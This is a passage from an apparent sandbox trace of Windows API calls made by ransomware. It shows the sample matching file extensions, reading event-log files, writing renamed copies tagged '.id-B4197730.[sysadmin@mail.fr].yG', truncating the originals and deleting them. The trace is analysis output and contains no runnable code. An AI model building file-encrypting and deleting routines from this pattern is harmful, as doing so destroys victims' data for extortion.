	[0046.916] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.916] lstrlenW (lpString=".1cd") returned 4
	[0046.916] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0046.916] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.916] lstrlenW (lpString=".jpg") returned 4
	[0046.916] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0046.916] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.916] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.917] lstrlenW (lpString=".doc") returned 4
	[0046.917] lstrcmpiW (lpString1=".doc", lpString2=".sys") returned -1
	[0046.917] lstrlenW (lpString=".docx") returned 5
	[0046.917] lstrcmpiW (lpString1=".docx", lpString2="l.sys") returned -1
	[0046.917] lstrlenW (lpString=".pdf") returned 4
	[0046.917] lstrcmpiW (lpString1=".pdf", lpString2=".sys") returned -1
	[0046.917] lstrlenW (lpString=".xls") returned 4
	[0046.917] lstrcmpiW (lpString1=".xls", lpString2=".sys") returned 1
	[0046.917] lstrlenW (lpString=".xlsx") returned 5
	[0046.917] lstrcmpiW (lpString1=".xlsx", lpString2="l.sys") returned -1
	[0046.917] lstrlenW (lpString=".ppt") returned 4
	[0046.917] lstrcmpiW (lpString1=".ppt", lpString2=".sys") returned -1
	[0046.917] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.917] lstrlenW (lpString=".zip") returned 4
	[0046.917] lstrcmpiW (lpString1=".zip", lpString2=".sys") returned 1
	[0046.917] lstrlenW (lpString=".rar") returned 4
	[0046.917] lstrcmpiW (lpString1=".rar", lpString2=".sys") returned -1
	[0046.917] lstrlenW (lpString=".bz2") returned 4
	[0046.917] lstrcmpiW (lpString1=".bz2", lpString2=".sys") returned -1
	[0046.917] lstrlenW (lpString=".7z") returned 3
	[0046.917] lstrcmpiW (lpString1=".7z", lpString2="sys") returned -1
	[0046.917] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.917] lstrlenW (lpString=".dbf") returned 4
	[0046.918] lstrcmpiW (lpString1=".dbf", lpString2=".sys") returned -1
	[0046.919] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.919] lstrlenW (lpString=".1cd") returned 4
	[0046.919] lstrcmpiW (lpString1=".1cd", lpString2=".sys") returned -1
	[0046.919] lstrlenW (lpString="C:\\hiberfil.sys") returned 15
	[0046.919] lstrlenW (lpString=".jpg") returned 4
	[0046.919] lstrcmpiW (lpString1=".jpg", lpString2=".sys") returned -1
	[0046.919] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0046.919] lstrlenW (lpString="Application.evtx") returned 16
	[0046.919] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0046.974] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0046.974] CloseHandle (hObject=0x35c) returned 1
	[0046.974] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 0x20
	[0046.974] GetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\application.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0046.974] CreateFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0046.975] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.975] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0046.975] CreateFileW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\application.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0046.979] GetLastError () returned 0x0
	[0046.979] ReadFile (in: hFile=0x35c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0046.993] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0046.995] ReadFile (in: hFile=0x35c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0046.995] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0xf4, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0xf4, lpOverlapped=0x0) returned 1
	[0046.995] SetEndOfFile (hFile=0x334) returned 1
	[0046.995] CloseHandle (hObject=0x334) returned 1
	[0047.020] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.020] SetEndOfFile (hFile=0x35c) returned 1
	[0047.021] CloseHandle (hObject=0x35c) returned 1
	[0047.022] SetFileAttributesW (lpFileName="C:\\Logs\\Application.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.022] DeleteFileW (lpFileName="C:\\Logs\\Application.evtx" (normalized: "c:\\logs\\application.evtx")) returned 1
	[0047.022] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.022] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.022] lstrlenW (lpString=".doc") returned 4
	[0047.022] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.022] lstrlenW (lpString=".docx") returned 5
	[0047.022] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.022] lstrlenW (lpString=".pdf") returned 4
	[0047.022] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.022] lstrlenW (lpString=".xls") returned 4
	[0047.022] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.022] lstrlenW (lpString=".xlsx") returned 5
	[0047.022] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.022] lstrlenW (lpString=".ppt") returned 4
	[0047.022] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.022] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.022] lstrlenW (lpString=".zip") returned 4
	[0047.022] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.022] lstrlenW (lpString=".rar") returned 4
	[0047.023] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString=".bz2") returned 4
	[0047.023] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString=".7z") returned 3
	[0047.023] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.023] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.023] lstrlenW (lpString=".dbf") returned 4
	[0047.023] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.023] lstrlenW (lpString=".1cd") returned 4
	[0047.023] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.023] lstrlenW (lpString=".jpg") returned 4
	[0047.023] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.023] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.023] lstrlenW (lpString=".doc") returned 4
	[0047.023] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString=".docx") returned 5
	[0047.023] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.023] lstrlenW (lpString=".pdf") returned 4
	[0047.023] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString=".xls") returned 4
	[0047.023] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString=".xlsx") returned 5
	[0047.023] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.023] lstrlenW (lpString=".ppt") returned 4
	[0047.023] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.023] lstrlenW (lpString=".zip") returned 4
	[0047.023] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString=".rar") returned 4
	[0047.023] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString=".bz2") returned 4
	[0047.023] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.023] lstrlenW (lpString=".7z") returned 3
	[0047.023] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.024] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.024] lstrlenW (lpString=".dbf") returned 4
	[0047.024] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.024] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.024] lstrlenW (lpString=".1cd") returned 4
	[0047.024] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.024] lstrlenW (lpString="C:\\Logs\\Application.evtx") returned 24
	[0047.024] lstrlenW (lpString=".jpg") returned 4
	[0047.024] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.024] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.024] lstrlenW (lpString="Internet Explorer.evtx") returned 22
	[0047.024] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0047.024] GetFileSizeEx (in: hFile=0x35c, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0047.024] CloseHandle (hObject=0x35c) returned 1
	[0047.024] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 0x20
	[0047.024] GetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.024] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x35c
	[0047.024] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.024] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.025] CreateFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\internet explorer.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x334
	[0047.025] GetLastError () returned 0x0
	[0047.025] ReadFile (in: hFile=0x35c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.110] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.112] ReadFile (in: hFile=0x35c, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.112] WriteFile (in: hFile=0x334, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x100, lpOverlapped=0x0) returned 1
	[0047.112] SetEndOfFile (hFile=0x334) returned 1
	[0047.112] CloseHandle (hObject=0x334) returned 1
	[0047.113] SetFilePointerEx (in: hFile=0x35c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.113] SetEndOfFile (hFile=0x35c) returned 1
	[0047.114] CloseHandle (hObject=0x35c) returned 1
	[0047.115] SetFileAttributesW (lpFileName="C:\\Logs\\Internet Explorer.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.115] DeleteFileW (lpFileName="C:\\Logs\\Internet Explorer.evtx" (normalized: "c:\\logs\\internet explorer.evtx")) returned 1
	[0047.115] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.115] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.115] lstrlenW (lpString=".doc") returned 4
	[0047.115] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.115] lstrlenW (lpString=".docx") returned 5
	[0047.115] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.115] lstrlenW (lpString=".pdf") returned 4
	[0047.115] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.115] lstrlenW (lpString=".xls") returned 4
	[0047.115] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.115] lstrlenW (lpString=".xlsx") returned 5
	[0047.115] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.115] lstrlenW (lpString=".ppt") returned 4
	[0047.115] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.115] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.115] lstrlenW (lpString=".zip") returned 4
	[0047.115] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.115] lstrlenW (lpString=".rar") returned 4
	[0047.115] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.115] lstrlenW (lpString=".bz2") returned 4
	[0047.115] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.115] lstrlenW (lpString=".7z") returned 3
	[0047.116] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.116] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.116] lstrlenW (lpString=".dbf") returned 4
	[0047.116] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.116] lstrlenW (lpString=".1cd") returned 4
	[0047.116] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.116] lstrlenW (lpString=".jpg") returned 4
	[0047.116] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.116] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.116] lstrlenW (lpString=".doc") returned 4
	[0047.116] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString=".docx") returned 5
	[0047.116] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.116] lstrlenW (lpString=".pdf") returned 4
	[0047.116] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString=".xls") returned 4
	[0047.116] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString=".xlsx") returned 5
	[0047.116] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.116] lstrlenW (lpString=".ppt") returned 4
	[0047.116] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.116] lstrlenW (lpString=".zip") returned 4
	[0047.116] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString=".rar") returned 4
	[0047.116] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString=".bz2") returned 4
	[0047.116] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString=".7z") returned 3
	[0047.116] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.116] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.116] lstrlenW (lpString=".dbf") returned 4
	[0047.116] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.116] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.116] lstrlenW (lpString=".1cd") returned 4
	[0047.117] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.117] lstrlenW (lpString="C:\\Logs\\Internet Explorer.evtx") returned 30
	[0047.117] lstrlenW (lpString=".jpg") returned 4
	[0047.117] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.117] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.117] lstrlenW (lpString="Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 78
	[0047.117] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0047.162] GetFileSizeEx (in: hFile=0x2e4, lpFileSize=0x312ff14 | out: lpFileSize=0x312ff14*=69632) returned 1
	[0047.162] CloseHandle (hObject=0x2e4) returned 1
	[0047.162] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 0x20
	[0047.162] GetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[sysadmin@mail.fr].yg")) returned 0xffffffff
	[0047.162] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e4
	[0047.162] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.162] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.163] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x350
	[0047.165] GetLastError () returned 0x0
	[0047.165] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x11000, lpOverlapped=0x0) returned 1
	[0047.217] WriteFile (in: hFile=0x350, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x11010, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x11010, lpOverlapped=0x0) returned 1
	[0047.219] ReadFile (in: hFile=0x2e4, lpBuffer=0x3e43020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x312fecc, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesRead=0x312fecc*=0x0, lpOverlapped=0x0) returned 1
	[0047.219] WriteFile (in: hFile=0x350, lpBuffer=0x3e43020*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x312fc94, lpOverlapped=0x0 | out: lpBuffer=0x3e43020*, lpNumberOfBytesWritten=0x312fc94*=0x170, lpOverlapped=0x0) returned 1
	[0047.219] SetEndOfFile (hFile=0x350) returned 1
	[0047.219] CloseHandle (hObject=0x350) returned 1
	[0047.221] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x312fec0 | out: lpNewFilePointer=0x0) returned 1
	[0047.221] SetEndOfFile (hFile=0x2e4) returned 1
	[0047.222] CloseHandle (hObject=0x2e4) returned 1
	[0047.222] SetFileAttributesW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x20) returned 1
	[0047.222] DeleteFileW (lpFileName="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx" (normalized: "c:\\logs\\microsoft-windows-application-experience%4program-compatibility-assistant.evtx")) returned 1
	[0047.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.222] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.222] lstrlenW (lpString=".doc") returned 4
	[0047.223] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString=".docx") returned 5
	[0047.223] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.223] lstrlenW (lpString=".pdf") returned 4
	[0047.223] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString=".xls") returned 4
	[0047.223] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString=".xlsx") returned 5
	[0047.223] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.223] lstrlenW (lpString=".ppt") returned 4
	[0047.223] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.223] lstrlenW (lpString=".zip") returned 4
	[0047.223] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString=".rar") returned 4
	[0047.223] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString=".bz2") returned 4
	[0047.223] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString=".7z") returned 3
	[0047.223] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.223] lstrlenW (lpString=".dbf") returned 4
	[0047.223] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.223] lstrlenW (lpString=".1cd") returned 4
	[0047.223] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.223] lstrlenW (lpString=".jpg") returned 4
	[0047.223] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.223] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.223] lstrlenW (lpString=".doc") returned 4
	[0047.223] lstrcmpiW (lpString1=".doc", lpString2="evtx") returned -1
	[0047.223] lstrlenW (lpString=".docx") returned 5
	[0047.223] lstrcmpiW (lpString1=".docx", lpString2=".evtx") returned -1
	[0047.223] lstrlenW (lpString=".pdf") returned 4
	[0047.223] lstrcmpiW (lpString1=".pdf", lpString2="evtx") returned -1
	[0047.224] lstrlenW (lpString=".xls") returned 4
	[0047.224] lstrcmpiW (lpString1=".xls", lpString2="evtx") returned -1
	[0047.224] lstrlenW (lpString=".xlsx") returned 5
	[0047.224] lstrcmpiW (lpString1=".xlsx", lpString2=".evtx") returned 1
	[0047.224] lstrlenW (lpString=".ppt") returned 4
	[0047.224] lstrcmpiW (lpString1=".ppt", lpString2="evtx") returned -1
	[0047.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.224] lstrlenW (lpString=".zip") returned 4
	[0047.224] lstrcmpiW (lpString1=".zip", lpString2="evtx") returned -1
	[0047.224] lstrlenW (lpString=".rar") returned 4
	[0047.224] lstrcmpiW (lpString1=".rar", lpString2="evtx") returned -1
	[0047.224] lstrlenW (lpString=".bz2") returned 4
	[0047.224] lstrcmpiW (lpString1=".bz2", lpString2="evtx") returned -1
	[0047.224] lstrlenW (lpString=".7z") returned 3
	[0047.224] lstrcmpiW (lpString1=".7z", lpString2="vtx") returned -1
	[0047.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.224] lstrlenW (lpString=".dbf") returned 4
	[0047.224] lstrcmpiW (lpString1=".dbf", lpString2="evtx") returned -1
	[0047.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.224] lstrlenW (lpString=".1cd") returned 4
	[0047.224] lstrcmpiW (lpString1=".1cd", lpString2="evtx") returned -1
	[0047.224] lstrlenW (lpString="C:\\Logs\\Microsoft-Windows-Application-Experience%4Program-Compatibility-Assistant.evtx") returned 86
	[0047.224] lstrlenW (lpString=".jpg") returned 4
	[0047.224] lstrcmpiW (lpString1=".jpg", lpString2="evtx") returned -1
	[0047.224] lstrcmpiW (lpString1=".evtx", lpString2=".yG") returned -1
	[0047.224] lstrlenW (lpString="Microsoft-Windows-AppLocker%4MSI and Script.evtx") returned 48
